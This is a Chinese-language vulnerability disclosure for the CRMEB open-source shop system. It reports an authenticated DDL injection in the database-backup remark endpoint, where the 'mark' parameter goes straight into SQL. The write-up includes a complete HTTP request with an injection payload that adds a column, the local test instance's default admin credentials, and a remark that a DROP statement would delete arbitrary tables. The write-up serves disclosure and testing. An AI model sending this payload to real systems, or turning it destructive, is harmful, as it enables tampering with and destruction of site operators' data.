CRMEB是众邦科技的一款开源商城系统。是Gitee最有价值开源项目(GVP)。 Star数17.6K
项目地址:https://gitee.com/ZhongBangKeJi/CRMEB
官网地址:https://www.crmeb.com/
演示地址:https://v6.crmeb.net/admin/
漏洞描述:CRMEB的数据库备份表备注更新功能,将用户传入的 mark 参数直接拼接至 SQL语句,可以闭合单引号字符串并追加额外的 ALTER TABLE 操作,实现任意 DDL 注入。
漏洞等级:中
漏洞前提:需要认证
代码审计:
入口:crmeb/app/adminapi/controller/v1/system/SystemDatabackup.php
漏洞验证:
- 使用Docker启动服务,后台: http://localhost:8080/admin (账号: admin,密码: crmeb.com)。 最好不要用他的演示地址,用SQLMAP会把服务打挂掉(可以手工验证)
- 在这里修改备注触发接口
- 这里我测试在表中增加一列数据。 点击一次,成功添加hacker列,再发送一次,可以看到报错列已经存在了,证明成功添加。
我这里做的是没什么危害的测试,这是执行了一个添加列的DDL语句, 只要我们将mark修改为DROP语句,我们还可以删除任意表数据。
POST /adminapi/system/database/update_mark HTTP/1.1
Host: 10.12.169.249:8080
Content-Length: 142
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Authori-zation: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiJmZTNhNjU5YTk4NDQ4M2VjM2MzZWY5NDNhNzJmYTRmOSIsImlzcyI6IjEwLjEyLjE2OS4yNDk6ODA4MCIsImF1ZCI6IjEwLjEyLjE2OS4yNDk6ODA4MCIsImlhdCI6MTc4MTMzNDY1NiwibmJmIjoxNzgxMzM0NjU2LCJleHAiOjE3ODM5MjY2NTYsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.R-sl6jGeuJH4yJuqIERsEkNbDQ1shegG6jJj1WUo6q0
Origin: http://10.12.169.249:8080
Connection: keep-alive
{"table":"eb_agent_level","mark":"test', ADD COLUMN hacker VARCHAR(50) DEFAULT '''hacked' -- ","type":"smallint","field":"grade","is_field":1}

